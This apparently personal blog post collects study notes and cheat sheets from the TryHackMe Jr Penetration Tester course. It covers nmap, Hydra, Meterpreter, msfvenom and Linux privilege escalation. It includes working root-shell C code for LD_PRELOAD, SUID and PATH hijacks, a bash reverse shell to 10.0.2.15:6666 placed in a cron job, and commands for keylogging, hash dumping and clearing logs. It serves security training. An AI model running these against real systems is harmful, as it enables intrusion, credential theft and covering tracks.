TryHackMe: Jr Penetration Tester Notes
This post documents all my notes taken while taking the THM Jr Penetration Tester certification. I have crafted some cheatsheets that perhaps you can find helpful as well. The index for this blog posts is as follows: Decode Nmap Commands Busting Directories Common Ports Finding Vulnerabilities Hydra Metasploit Commands After Shell Access (Windows/Linux Priv Esc) Feel free to skip through any of them. Decode Use CyberChef or Hashes.com for hashes. Binary: 00011001 base32: MJQXGZJTGIQGS4ZAON2XAZLSEBRW63LNN5XCA2LOEBBVIRRHOM====== base64: RWFjaCBCYXNlNjQgZGlnaXQgcmVwcmVzZW50cyBleGFjdGx5IDYgYml0cyBvZiBkYXRhLg== Hexadecimal or base16: 68 65 78 61 64 65 63 69 6d 61 6c 20 6f 72 20 62 61 73 65 31 36 3f ROT13: Ebgngr zr 13 cynprf! ROT47: *@F DA:? >6 C:89E C@F?5 323J C:89E C@F?5 Wcf E:>6DX Morse: - . .-.. . -.-. --- -- -- ..- -. .. -.-. .- - .. --- -. . -. -.-. --- -.. .. -. --. Audio Use Audacity, and try Spectrogram. Steganography Run steghide extract -sf filename A file will be added to current directory. Read the file for answer. If nothing is found, run cat filename or strings filename, maybe some text is hidden under the image. Nmap Commands Using --reason for every command gives a detailed output. For more details you can use: -v: verbose -vv: very verbose -d: debugging details -dd: even more debugging details Note that every nmap output is a guess (especially OS version). The only output that is not a guess is the VERSION section (running -sV for example). Scan Type Option Description Use Case Things to Look Out For Example TCP Connect Scan -sT Performs a full TCP connection by completing the three-way handshake. Used when SYN scan is not possible (e.g., unprivileged user). Generates logs on the target system due to full handshake. nmap -sT target SYN Scan -sS Sends SYN packets to ports and waits for a response without completing the handshake. Stealthier and faster; avoids being logged in most cases. May still be detected by advanced IDS/IPS systems. nmap -sS target UDP Scan -sU Scans for open UDP ports by sending UDP packets. Used for identifying services on UDP ports (e.g., DNS, SNMP). UDP responses are less predictable; firewalls may block UDP packets. nmap -sU target ACK Scan -sA Sends ACK packets to determine if a port is filtered. Useful for mapping firewall rules. Cannot distinguish between open and closed ports; only detects filtered/unfiltered ports. nmap -sA target FIN Scan -sF Sends FIN packets to probe ports, relying on non-standard behavior to detect open ports. Avoids detection by firewalls and intrusion detection systems (IDS). Relies on non-standard TCP behavior; ineffective on Windows-based systems. nmap -sF target Xmas Scan -sX Sends packets with FIN, PSH, and URG flags set. Similar to FIN scan but more specific. Like FIN scan, ineffective against Windows hosts; easily detected by modern IDS/IPS. nmap -sX target NULL Scan -sN Sends packets with no flags set. Evasion technique; identifies open ports without using flags. Relies on the lack of a response to infer open ports; may fail against Windows systems. nmap -sN target Idle Scan -sI Spoofs packets from a third-party host (the "zombie") to scan a target. Highly stealthy scan to hide the origin of the scan. Requires a suitable "zombie" host with predictable IP ID sequence. nmap -sI zombie target Window Scan -sW Uses TCP Window size to detect open ports. An alternative to ACK scan for firewall rule detection. Requires the target system to support the TCP Window size feature. nmap -sW target Ping Scan -sn Discovers live hosts without scanning ports. Used for network discovery. Firewalls may block ICMP packets, leading to incomplete results. nmap -sn target Port Scan -p Scans specific ports or port ranges. Focused scanning on particular areas of interest. Narrow port ranges reduce scan time; randomizing order helps avoid detection. nmap -p 22,80 target Service Detection -sV Identifies services running on open ports and their versions. Helps in identifying vulnerabilities specific to a service version. Can control version intensity using --version-intensity LEVEL where LEVEL is between 0 and 9. (7 by default) May trigger alarms if service banners are retrieved aggressively. nmap -sV --version-intensity 2 target OS Detection -O Detects the operating system of the target host. Used for profiling and targeted attacks. OS detection may fail if the host uses IP stack obfuscation. nmap -O target Aggressive Scan -A Combines OS detection, service detection, and script scanning. Provides comprehensive target information in a single scan. Aggressive scans are loud and easily detected by IDS/IPS systems. nmap -A target Timing Templates -T0 to -T5 Adjusts the timing and speed of scans. Balances stealth and performance based on the network environment. Faster scans (-T4, -T5) are more likely to trigger alarms or overwhelm the networ

This post documents all my notes taken while taking the THM Jr Penetration Tester certification. I have crafted some cheatsheets that perhaps you can find helpful as well.
The index for this blog posts is as follows:
- Decode
- Nmap Commands
- Busting Directories
- Common Ports
- Finding Vulnerabilities
- Hydra
- Metasploit Commands
- After Shell Access (Windows/Linux Priv Esc)
Feel free to skip through any of them.
Decode
Use CyberChef or Hashes.com for hashes.
- Binary:
00011001
- base32:
MJQXGZJTGIQGS4ZAON2XAZLSEBRW63LNN5XCA2LOEBBVIRRHOM======
- base64:
RWFjaCBCYXNlNjQgZGlnaXQgcmVwcmVzZW50cyBleGFjdGx5IDYgYml0cyBvZiBkYXRhLg==
- Hexadecimal or base16:
68 65 78 61 64 65 63 69 6d 61 6c 20 6f 72 20 62 61 73 65 31 36 3f
- ROT13:
Ebgngr zr 13 cynprf!
- ROT47:
*@F DA:? >6 C:89E C@F?5 323J C:89E C@F?5 Wcf E:>6DX
- Morse:
- . .-.. . -.-. --- -- -- ..- -. .. -.-. .- - .. --- -. . -. -.-. --- -.. .. -. --.
Audio
Use Audacity, and try Spectrogram.
Steganography
Run steghide extract -sf filename
A file will be added to current directory. Read the file for answer.
If nothing is found, run cat filename
or strings filename
, maybe some text is hidden under the image.
Nmap Commands
Using --reason
for every command gives a detailed output.
For more details you can use:
-
-v
: verbose -
-vv
: very verbose -
-d
: debugging details -
-dd
: even more debugging details
Note that every nmap output is a guess (especially OS version). The only output that is not a guess is the VERSION section (running -sV for example).
Scan Type | Option | Description | Use Case | Things to Look Out For | Example |
---|---|---|---|---|---|
TCP Connect Scan | -sT |
Performs a full TCP connection by completing the three-way handshake. | Used when SYN scan is not possible (e.g., unprivileged user). | Generates logs on the target system due to full handshake. | nmap -sT target |
SYN Scan | -sS |
Sends SYN packets to ports and waits for a response without completing the handshake. | Stealthier and faster; avoids being logged in most cases. | May still be detected by advanced IDS/IPS systems. | nmap -sS target |
UDP Scan | -sU |
Scans for open UDP ports by sending UDP packets. | Used for identifying services on UDP ports (e.g., DNS, SNMP). | UDP responses are less predictable; firewalls may block UDP packets. | nmap -sU target |
ACK Scan | -sA |
Sends ACK packets to determine if a port is filtered. | Useful for mapping firewall rules. | Cannot distinguish between open and closed ports; only detects filtered/unfiltered ports. | nmap -sA target |
FIN Scan | -sF |
Sends FIN packets to probe ports, relying on non-standard behavior to detect open ports. | Avoids detection by firewalls and intrusion detection systems (IDS). | Relies on non-standard TCP behavior; ineffective on Windows-based systems. | nmap -sF target |
Xmas Scan | -sX |
Sends packets with FIN, PSH, and URG flags set. | Similar to FIN scan but more specific. | Like FIN scan, ineffective against Windows hosts; easily detected by modern IDS/IPS. | nmap -sX target |
NULL Scan | -sN |
Sends packets with no flags set. | Evasion technique; identifies open ports without using flags. | Relies on the lack of a response to infer open ports; may fail against Windows systems. | nmap -sN target |
Idle Scan | -sI |
Spoofs packets from a third-party host (the "zombie") to scan a target. | Highly stealthy scan to hide the origin of the scan. | Requires a suitable "zombie" host with predictable IP ID sequence. | nmap -sI zombie target |
Window Scan | -sW |
Uses TCP Window size to detect open ports. | An alternative to ACK scan for firewall rule detection. | Requires the target system to support the TCP Window size feature. | nmap -sW target |
Ping Scan | -sn |
Discovers live hosts without scanning ports. | Used for network discovery. | Firewalls may block ICMP packets, leading to incomplete results. | nmap -sn target |
Port Scan | -p |
Scans specific ports or port ranges. | Focused scanning on particular areas of interest. | Narrow port ranges reduce scan time; randomizing order helps avoid detection. | nmap -p 22,80 target |
Service Detection | -sV |
Identifies services running on open ports and their versions. | Helps in identifying vulnerabilities specific to a service version. Can control version intensity using --version-intensity LEVEL where LEVEL is between 0 and 9. (7 by default) |
May trigger alarms if service banners are retrieved aggressively. | nmap -sV --version-intensity 2 target |
OS Detection | -O |
Detects the operating system of the target host. | Used for profiling and targeted attacks. | OS detection may fail if the host uses IP stack obfuscation. | nmap -O target |
Aggressive Scan | -A |
Combines OS detection, service detection, and script scanning. | Provides comprehensive target information in a single scan. | Aggressive scans are loud and easily detected by IDS/IPS systems. | nmap -A target |
Timing Templates |
-T0 to -T5
|
Adjusts the timing and speed of scans. | Balances stealth and performance based on the network environment. | Faster scans (-T4 , -T5 ) are more likely to trigger alarms or overwhelm the network. |
nmap -T4 target |
Firewall Evasion | Various | Techniques like fragmenting packets (-f ), spoofing source IP, or randomizing hosts. |
Used to bypass firewalls and intrusion detection systems (IDS). | Fragmentation can break scans if reassembly fails; spoofing may lead to incomplete results. | nmap -f target |
Script Scan | -sC |
Uses the default set of Nmap scripts to gather additional information. | Automates vulnerability checks and information gathering. | Ensure scripts are up-to-date; some scripts may be intrusive or time-consuming. | nmap -sC target |
Custom NSE Script Scan | --script |
Executes specific scripts from the Nmap Scripting Engine (NSE). | Tailored scanning for vulnerabilities or specific target behavior. | Misconfigured or malicious scripts can cause unintended effects or slow scans. | nmap --script vuln target |
Spoofing |
-S or --spoof-mac
|
Sends packets with a forged source IP or MAC address. | Masks the origin of the scan to evade detection or confuse target systems. | Responses are sent to the spoofed address; ensure compatibility with the target network. | nmap -S 192.168.1.100 target |
Decoy Scan | -D |
Uses multiple fake IPs (decoys) along with the real IP to confuse detection systems. | Makes it harder for the target to identify the real scanner. | Ensure decoys are plausible IPs; improper usage may lead to obvious fingerprinting. Can use RND to generate a random IP. | nmap -D decoy1,decoy2 target |
Custom Scan (SYN-ACK-RST) | --scanflags |
Sends packets with custom TCP flags for flexible scanning. | Used for bypassing specific firewalls or IDS configurations. | Ensure the flag combination aligns with the target's TCP/IP behavior to yield meaningful results. | nmap --scanflags SYNACK target |
ARP Scan | -PR -sn |
Performs an ARP scan to discover live hosts in the local network. | Use when scanning within the same local network. | Only works within the local network; not applicable for external systems. | nmap -PR -sn 192.168.1.0/24 |
ICMP Echo Request | -PE |
Uses ICMP echo request packets to discover live hosts. | Discover live hosts using basic ping requests. | Firewalls or IDS may block ICMP ping requests, leading to incomplete results. | nmap -PE -sn target |
ICMP Timestamp Request | -PP |
Uses ICMP timestamp requests to check if hosts are alive. | Alternative ping method for host discovery. | Some devices may not respond to timestamp requests. | nmap -PP -sn target |
ICMP Address Mask Request | -PM |
Uses address mask queries (ICMP Type 17) to check if hosts are alive. | Another ICMP method for detecting online hosts. | Limited to systems that support ICMP address mask replies. | nmap -PM -sn target |
TCP SYN Ping | -PS |
Sends TCP SYN packets to specific ports to discover live hosts. | Use to probe hosts via specific ports (default is port 80). | Can trigger IDS/IPS if the target has open ports. | nmap -PS21 target |
TCP ACK Ping | -PA |
Sends TCP ACK packets to specific ports to check if the host is alive. | Use for stealthy host discovery on specific ports. | No response means host is filtered, but cannot determine if port is open or closed. | nmap -PA80 target |
UDP Ping | -PU |
Sends UDP packets to specific ports to check if the host is up. | Useful for detecting systems that are up but don't respond to ICMP. | May not receive any response unless the port is closed (which triggers ICMP unreachable). | nmap -PU53 target |
No DNS Resolution | -n |
Skips DNS resolution to avoid revealing hostnames. | Used to prevent DNS queries from being sent. | No DNS queries are performed; useful for maintaining anonymity. | nmap -n target |
Force DNS Lookup | -R |
Forces DNS resolution even for offline hosts. | Used to query DNS for offline hosts. | DNS lookup can delay scanning if the host is offline. | nmap -R target |
Specify DNS Server | --dns-servers |
Specifies a custom DNS server for resolution. | Useful for controlling DNS resolution during the scan. | Ensure DNS server is reachable; can delay scanning if the DNS server is slow. | nmap --dns-servers 8.8.8.8 target |
Traceroute | --traceroute |
Traces the route packets take to reach the target, showing each hop. | Used for network path analysis. | Some firewalls may block traceroute probes or filter ICMP. | nmap --traceroute target |
Aggressive Scan | -A |
Combines OS detection, service detection, version detection, and script scanning. | Provides detailed information in a single scan. | Easily detected by IDS/IPS due to the comprehensive nature. | nmap -A target |
Output to All Formats | -oA |
Outputs scan results in all formats: normal, XML, and grepable. | For saving results in multiple formats for later analysis. | Creates multiple files with varying formats. | nmap -oA output target |
Output to XML | -oX |
Outputs the scan results in XML format. | For integrating results into other tools or scripts. | Results may be large and hard to read manually. | nmap -oX output.xml target |
Output to Normal Format | -oN |
Outputs the scan results in normal (human-readable) format. | For simple, readable results. | Limited in detail compared to XML; not suited for automated parsing. | nmap -oN output.txt target |
Output to Grepable Format | -oG |
Outputs the scan results in a grepable format. | For easy parsing by scripts or command-line tools. | Some data might be lost in this simplified format. | nmap -oG output.gn target |
Busting Directories
GoBuster
gobuster dir -u
Common Ports and Services
Protocol | TCP Port | Application(s) | Data Security |
---|---|---|---|
FTP | 21 | File Transfer | Cleartext |
FTPS | 990 | File Transfer | Encrypted |
HTTP | 80 | Worldwide Web | Cleartext |
HTTPS | 443 | Worldwide Web | Encrypted |
IMAP | 143 | Email (MDA) | Cleartext |
IMAPS | 993 | Email (MDA) | Encrypted |
POP3 | 110 | Email (MDA) | Cleartext |
POP3S | 995 | Email (MDA) | Encrypted |
SFTP | 22 | File Transfer | Encrypted |
SSH | 22 | Remote Access and File Transfer | Encrypted |
SMTP | 25 | Email (MTA) | Cleartext |
SMTPS | 465 | Email (MTA) | Encrypted |
Telnet | 23 | Remote Access | Cleartext |
Finding Vulnerabilities
Search websites like:
- Exploit-DB
- NVD
- Rapid7, uses Metasploit
- Github, no formal verification since anyone can upload one
- Searchsploit, on Kali by default, an offline version of Exploit-DB
Hydra
The general command-line syntax is:
hydra -l username -P wordlist.txt server service
Option | Explanation |
---|---|
-l username | Provide the login name |
-P WordList.txt | Specify the password list to use |
server service | Set the server address and service to attack |
-s PORT | Use in case of non-default service port number |
-t n | Set the number of parallel tasks to run |
-V or -vV | Show the username and password combinations being tried |
-d | Display debugging output if the verbose output is not helping |
Metasploit Commands
Meterpreter Commands Table
Category | Command | Description | Example/Use Case |
---|---|---|---|
Core | background |
Backgrounds the current session. |
background to return to the main Metasploit. |
exit |
Terminates the session. |
exit to end the connection. |
|
guid |
Displays session GUID. |
guid for unique session tracking. |
|
help |
Displays the help menu. |
help to view available commands. |
|
info |
Displays Post module info. |
info -m post/windows/gather/enum_users . |
|
irb |
Opens an interactive Ruby shell. |
irb for advanced scripting. |
|
load |
Loads Meterpreter extensions. |
load kiwi to use mimikatz functionalities. |
|
migrate |
Migrates to another process. |
migrate 1234 to move to PID 1234. |
|
run |
Executes a script or module. |
run post/windows/manage/killav . |
|
sessions |
Switches to another session. |
sessions -i 2 to interact with session 2. |
|
File System | cd |
Changes directory. |
cd /tmp to move to the /tmp folder. |
ls |
Lists files in the current directory. |
ls to see files and folders. |
|
pwd |
Prints the current directory. |
pwd for the current path. |
|
edit |
Opens a file for editing. |
edit config.txt to edit the file. |
|
cat |
Displays file contents. |
cat secrets.txt to view contents. |
|
rm |
Deletes a file. |
rm unwanted.txt to remove a file. |
|
search |
Searches for files. |
search -f *.log for log files. |
|
upload |
Uploads a file or directory. |
upload tool.exe /tmp to upload a file. |
|
download |
Downloads a file or directory. |
download report.docx to save a file locally. |
|
Networking | arp |
Displays ARP cache. |
arp to list local network hosts. |
ifconfig |
Shows network interfaces. |
ifconfig for interface details. |
|
netstat |
Displays network connections. |
netstat to list active connections. |
|
portfwd |
Forwards a local port to a remote service. |
portfwd add -l 8080 -r 10.0.0.1 -p 80 . |
|
route |
Modifies routing table. |
route add 10.0.0.0/24 192.168.1.1 . |
|
System | clearev |
Clears event logs. |
clearev to remove logs on the target. |
execute |
Runs a command. |
execute -f calc.exe to start a process. |
|
getpid |
Shows current process ID. |
getpid for PID info. |
|
getuid |
Shows the user Meterpreter runs as. |
getuid to see privileges. |
|
kill |
Terminates a process. |
kill 1234 to stop PID 1234. |
|
pkill |
Kills processes by name. |
pkill chrome to terminate browser. |
|
ps |
Lists running processes. |
ps to view active processes. |
|
reboot |
Reboots the remote computer. |
reboot to restart the system. |
|
shell |
Opens a command shell. |
shell to access the command line. |
|
shutdown |
Shuts down the remote computer. |
shutdown to power off. |
|
sysinfo |
Gets remote system info. |
sysinfo for OS details. |
|
Other | idletime |
Shows user idle time. |
idletime for idle duration. |
keyscan_dump |
Dumps keystroke buffer. |
keyscan_dump to capture typed text. |
|
keyscan_start |
Starts keystroke capture. |
keyscan_start to log input. |
|
keyscan_stop |
Stops keystroke capture. |
keyscan_stop to end logging. |
|
screenshare |
Watches desktop in real time. |
screenshare for live monitoring. |
|
screenshot |
Takes a screenshot. |
screenshot to save desktop view. |
|
record_mic |
Records audio via mic. |
record_mic 10 to record 10 seconds. |
|
webcam_chat |
Starts video chat. |
webcam_chat for a live session. |
|
webcam_list |
Lists webcams. |
webcam_list for device enumeration. |
|
webcam_snap |
Takes a webcam snapshot. |
webcam_snap for a photo capture. |
|
webcam_stream |
Streams webcam video. |
webcam_stream for live feed. |
|
getsystem |
Elevates privileges. |
getsystem to gain SYSTEM rights. |
|
hashdump |
Dumps SAM database. |
hashdump for stored credentials. |
MSFVenom Commands and Payload Guide
Standard Syntax
msfvenom -p
Example Command
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST= LPORT=
Options Used
-
-p
: Specify the payload. -
-f
: Format of the payload (e.g., exe, elf, raw). -
-o
: Output location and filename. -
LHOST
: Local IP address for the connection. -
LPORT
: Local port to listen on.
Payloads: Staged vs. Stageless
Staged Payloads
-
Process:
- Delivers an initial small payload (the "stager").
- Establishes a connection to the attacker's system (e.g., TCP or HTTP).
- Sends the main payload through the established connection.
-
Use Cases:
- When payload size is restricted.
- For flexible and complex post-exploitation tasks.
-
Requirement:
- A listener such as Metasploit's
multi/handler
.
- A listener such as Metasploit's
-
Naming Convention:
- Denoted with a forward slash (
/
). - Example:
windows/x64/meterpreter/reverse_tcp
.
- Denoted with a forward slash (
Stageless Payloads
-
Process:
- Delivers the entire payload in a single stage (no additional connection required).
-
Use Cases:
- When simplicity is prioritized.
- When no network connectivity is available during exploitation.
-
Naming Convention:
- Denoted with underscores (
_
). - Example:
windows/x64/meterpreter_reverse_tcp
.
- Denoted with underscores (
Payload Naming Conventions
The naming format for payloads is as follows:
Examples
- Linux 32-bit Stageless Payload:
linux/x86/shell_reverse_tcp
- Windows 64-bit Staged Payload:
windows/x64/meterpreter/reverse_tcp
- Windows 32-bit Stageless Payload:
windows/shell_reverse_tcp
Exceptions
- For Windows 32-bit payloads, the architecture (
x86
) is not specified. - Example:
windows/shell_reverse_tcp
.
Common Commands
List Available Payloads
msfvenom –list payloads
Filter Payloads
msfvenom –list payloads | grep /linux/x86/meterpreter
- Filters for all Linux Meterpreter payloads for 32-bit targets.
Comparison Summary: Staged vs. Stageless
Feature | Staged | Stageless |
---|---|---|
Delivery | In two steps | In one step |
Connection | Requires connection to attacker | No connection required |
Payload Size | Smaller initial size | Larger total size |
Naming Convention | Uses / (e.g., reverse_tcp ) |
Uses _ (e.g., reverse_tcp ) |
Complexity | More flexible but complex | Simpler and straightforward |
After Shell Access
What you can do after Privilege Escalation
- Resetting passwords
- Bypassing access controls to compromise protected data
- Editing software configurations
- Enabling persistence
- Changing the privilege of existing (or new) users
- Execute any administrative command
Linux
Tools to help save time during enumeration:
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
- Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
First and foremost, run sudo -l
to know what commands we can run sudo as logged in user. Visit GTFOBins and check out their sudo
section afterwards.
- /etc/passwd
- discover users
- run
cat /etc/passwd | cut -d ":" -f 1
to convert into a useful list for bruteforce attacks - some are system and service users, which may not be helpful
- run
cat /etc/passwd | grep home
to grep for “home” as real users will most likely have their folders under the “home” directory
- run
- /etc/shadow
- check for potential passwords
- /home/user/.ssh -to search ssh keys **Replace user with username
-
hostname
- returns hostname
- can provide information about the target system’s role within the corporate network
-
uname -a
- print system information giving us additional detail about the kernel used by the system
- useful when searching for any potential kernel vulnerabilities that could lead to privilege escalation
- Check for /proc/version
- provides information about the target system processes
- may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC) is installed
- Check for /etc/issue
- usually contains some information about the operating system but can easily be customized or changed
-
ps
- effective way to see the running processes on a Linux system
- output of `ps` is as follows
- PID: The process ID (unique to the process)
- TTY: Terminal type used by the user
- Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)
- CMD: The command or executable running (will NOT display any command line parameter)
- `ps -A` views all running processes
- `ps axjf` views process tree
- `ps aux`
- show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x).
- we can have a better understanding of the system and potential vulnerabilities
-
env
shows environmental variables
- Notice PATH, HOME, SHELL
- The PATH variable may have a compiler or a scripting language (e.g. Python) that could be used to run code on the target system or leveraged for privilege escalation
-
sudo -l
- used to list all commands your user can run usingsudo
-
ls -la
- use
ls
with-la
to reveal hidden files as well
- use
-
id user
- provide a general overview of the user’s privilege level and group memberships **Replace user with username
-
history
- give us some idea about the target system and, albeit rarely, have stored information such as passwords or usernames
-
ifconfig
- give us information about the network interfaces of the system
- example below shows the target system has three interfaces (eth0, tun0, and tun1). Our attacking machine can reach the eth0 interface but can not directly access the two other networks.
- This can be confirmed using the
ip route
command to see which network routes exist
-
netstat
-
netstat -a
shows all listening ports and established connections -
netstat -at
ornetstat -au
can also be used to list TCP or UDP protocols respectively -
netstat -l
list ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the “t” option to list only ports that are listening using the TCP protocol -
netstat -s
list network usage statistics by protocol (below) This can also be used with the -t or -u options to limit the output to a specific protocol -
netstat -tp
list connections with the service name and PID information -
netstat -ltp
list listening ports
-
- We can see the “PID/Program name” column is empty as this process is owned by another user.
Below is the same command run with root privileges and reveals this information as 2641/nc (netcat)
- netstat -i
shows interface statistics. We see below that “eth0” and “tun0” are more active than “tun1”
- netstat -ano
- -a
display all sockets
- -n
do not resolve names
- -o
display timers
-
find
act assearch
in Metasploit-
find . -name flag1.txt
find the file named “flag1.txt” in the current directory -
find /home -name flag1.txt
find the file names “flag1.txt” in the /home directory -
find / -type d -name config
find the directory named config under “/” -
find / -type f -perm 0777
find files with the 777 permissions (files readable, writable, and executable by all users) -
find / -perm a=x
find executable files -
find /home -user frank
find all files for user “frank” under “/home” -
find / -mtime 10
find files that were modified in the last 10 days -
find / -atime 10
find files that were accessed in the last 10 day -
find / -cmin -60
find files changed within the last hour (60 minutes) -
find / -amin -60
find files accesses within the last hour (60 minutes) -
find / -size 50M
find files with a 50 MB size -
find / -size +100M
find files larger than 100 MB (-) for lesser -
find / -writable -type d 2>/dev/null
find world-writeable folders -
find / -perm -222 -type d 2>/dev/null
find world-writeable folders -
find / -perm -o w -type d 2>/dev/null
find world-writeable folders -
find / -perm -o x -type d 2>/dev/null
find world-executable folders **Generally use-type f 2>/dev/null
when usingfind
to eliminate error outputs - Find development tools and supported languages:
find / -name perl*
find / -name python*
find / -name gcc*
-
find / -perm -u=s -type f 2>/dev/null
find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user -
find / -type f -perm -04000 -ls 2>/dev/null
will list files that have SUID or SGID bits set. Visit GTFOBins and check out theirSUID
section afterwards.- Example: If you hit
nano
, try these steps: - Run
nano /etc/shadow
andnano /etc/passwd
to print the contents of both files - Run
unshadow passwd.txt shadow.txt > passwords.txt
, then crack them using John the Ripper - Alternatively, you can add a root user:
-
openssl passwd -1 -salt THM password1
-
-1
insicate encrpt using MD5 -
THM password1
is the actual password
-
-
- Example: If you hit
-
- Then add this into the /etc/passwd file and don't forget to add root:/bin/bash
Any file containing system information can be customised or changed. For a clearer understanding of the system, it is always good to look at all of these.
Privilege Exploitation: Kernel Exploits
The Kernel exploit methodology is simple;
- Identify the kernel version
- Search and find an exploit code for the kernel version of the target system
- Run the exploit
Although it looks simple, please remember that a failed kernel exploit can lead to a system crash. Make sure this potential outcome is acceptable within the scope of your penetration testing engagement before attempting a kernel exploit.
Research sources
- Based on your findings, you can use Google to search for an existing exploit code.
- Sources such as https://www.cvedetails.com/ can also be useful.
- Another alternative would be to use a script like LES (Linux Exploit Suggester) but remember that these tools can generate false positives (report a kernel vulnerability that does not affect the target system) or false negatives (not report any kernel vulnerabilities although the kernel is vulnerable).
Hints/Notes
- Being too specific about the kernel version when searching for exploits on Google, Exploit-db, or searchsploit
- Be sure you understand how the exploit code works BEFORE you launch it. Some exploit codes can make changes on the operating system that would make them unsecured in further use or make irreversible changes to the system, creating problems later. Of course, these may not be great concerns within a lab or CTF environment, but these are absolute no-nos during a real penetration testing engagement.
- Some exploits may require further interaction once they are run. Read all comments and instructions provided with the exploit code.
- You can transfer the exploit code from your machine to the target system using the
SimpleHTTPServer
Python module andwget
respectively.
Privilege Escalation: Sudo
Leverage Application Functions
Some applications will not have a known exploit within this context. Such an application you may see is the Apache2 server.
We can use -f
parameter to load alternative configuration files. Loading /etc/shadow
will show the first line of the file.
Leverage LD_PRELOAD
In some systems, you may see the LD_PRELOAD environment option.
LD_PRELOAD is a function that allows any program to use shared libraries. Read this for more details. Basically we can share functions, injecting malicious code to be executed.
The steps of this privilege escalation vector can be summarized as follows;
- Check for LD_PRELOAD (with the env_keep option)
- Write a simple C code compiled as a share object (.so extension) file
- Run the program with sudo rights and the LD_PRELOAD option pointing to our
.so
file
The C code will simply spawn a root shell and can be written as follows;
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
We can save this code as shell.c and compile it using gcc into a shared object file using the following parameters;
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
Now we can run every command using sudo
.
We need to run the program by specifying the LD_PRELOAD option, as follows;
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
This will result in a shell spawn with root privileges.
Privilege Escalation: SUID
Refer find / -type f -perm -04000 -ls 2>/dev/null
in previous page.
Privilege Escalation: Capabilities
If the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher privilege user.
We can use the getcap
tool to list enabled capabilities.
-
getcap -r / 2>/dev/null
- When run as an unprivileged user,
getcap -r /
will generate a huge amount of errors, so it is good practice to redirect the error messages to/dev/null
.
- When run as an unprivileged user,
Keep in mind that capabilities listed may not have the SUID bit set.
Privilege Escalation: Cron Jobs
Cron jobs are used to run scripts or binaries at specific times and are run with root privileges by default.
If there is a scheduled task that runs with root privileges and we can change the script that will be run, then our script will run with root privileges.
Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run, under /etc/crontab
If we can access the task file, we can modify it to run a reverse shell. Two points to note:
- The command syntax will vary depending on the available tools. (e.g. nc will probably not support the -e option you may have seen used in other cases)
- We should always prefer to start reverse shells, as we not want to compromise the system integrity during a real penetration testing engagement.
The file should look like this:
bash -i
• The -i option runs Bash in interactive mode.>&
• This redirects both stdout and stderr to the specified file or device./dev/tcp/10.0.2.15/6666
• /dev/tcp/ is a special file in some Bash implementations that allows network communication.
• 10.0.2.15 is the IP address of the remote server.
• 6666 is the port number on the remote server.0>&1
• This redirects stdin to stdout. It allows the shell to receive input from the remote connection.
We will now run a listener on our attacking machine to receive the incoming connection.
Why cron jobs can be exploited:
- System administrators need to run a script at regular intervals.
- They create a cron job to do this
- After a while, the script becomes useless, and they delete it
- They do not clean the relevant cron job
A deleted cron job file can also be an exploitable vulnerability
Here we can see that the file is deleted. We can instead create a file with the same name and directory to replace the deleted one.
**Note that if the location is not specified, it is in /etc/crontab
Privilege Escalation: PATH
If a folder for which your user has write permission is located in the path, you could potentially hijack an application to run a script.
- run
echo $PATH
If we type msfconsole
in the command line, the shell will look at these locations to find the command.
As you will see, this depends entirely on the existing configuration of the target system, so be sure you can answer the questions below before trying this.
- What folders are located under $PATH
- Does your current user have write privileges for any of these folders?
- Can you modify $PATH?
- Is there a script/application you can start that will be affected by this vulnerability?
A script below is used as an example:
#include
void main()
{ setuid(0);
setgid(0);
system("thm");
}
This script tries to launch a system binary called “thm”.
Compile this into an executeable and set the SUID bit.
-
gcc path_exp.c -o path -w
-
chmod u+s path
-
ls -l
Once executed “path” will look for an executable named “thm” inside folders listed under PATH. If any writable folder is listed under PATH we could create a binary named thm under that directory and have our “path” script run it. As the SUID bit is set, this binary will run with root privilege.
We can search writable folders using:
-
find / -writable 2>/dev/null
or find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u
Compare the output with echo $PATH
We see a number of folders under /usr, thus it could be easier to run our writable folder search once more to cover subfolders.
Run find / -writable 2>/dev/null | grep usr | cut -d "/" -f 2,3 | sort -u
Unfortunately, subfolders under /usr are not writable. The folder that will be easier to write to is probably /tmp. At this point because /tmp is not present in PATH so we will need to add it.
Run export PATH=/tmp:$PATH
At this point the path script will also look under the /tmp folder for an executable named “thm”.
Creating this command is fairly easy by copying /bin/bash as “thm” under the /tmp folder.
Privilege Escalation: NFS
Shared folders and remote management interfaces such as SSH and Telnet can also help you gain root access on the target system. Some cases will also require using both vectors, e.g. finding a root SSH private key on the target system and connecting via SSH with root privileges instead of trying to increase your current user’s privilege level.
Another vector that is more relevant to CTFs and exams is a misconfigured network shell. This vector can sometimes be seen during penetration testing engagements when a network backup system is present.
NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.
Run cat /etc/exports
The critical element for this privilege escalation vector is the no_root_squash option you can see above. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.
We will start by enumerating mountable shares from our attacking machine bu running showmount -e
Then mount one of the no_root_squash shares to our attacking machine and start building our executable.
If you cannot set SUID bit, compile an executable to execute a file just like what we did in the previous section.
int main()
{ setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
If you can, just create an executable and set SUID bit then and there.
gcc filename -o filename -w
chmod +s filename
ls -l filename
At last, just run the file.
Windows
Login using RDP:
xfreerdp /v:TARGET_IP /u:USERNAME /p:PASSWORD
Types of accounts
Account | Description | Privileges |
---|---|---|
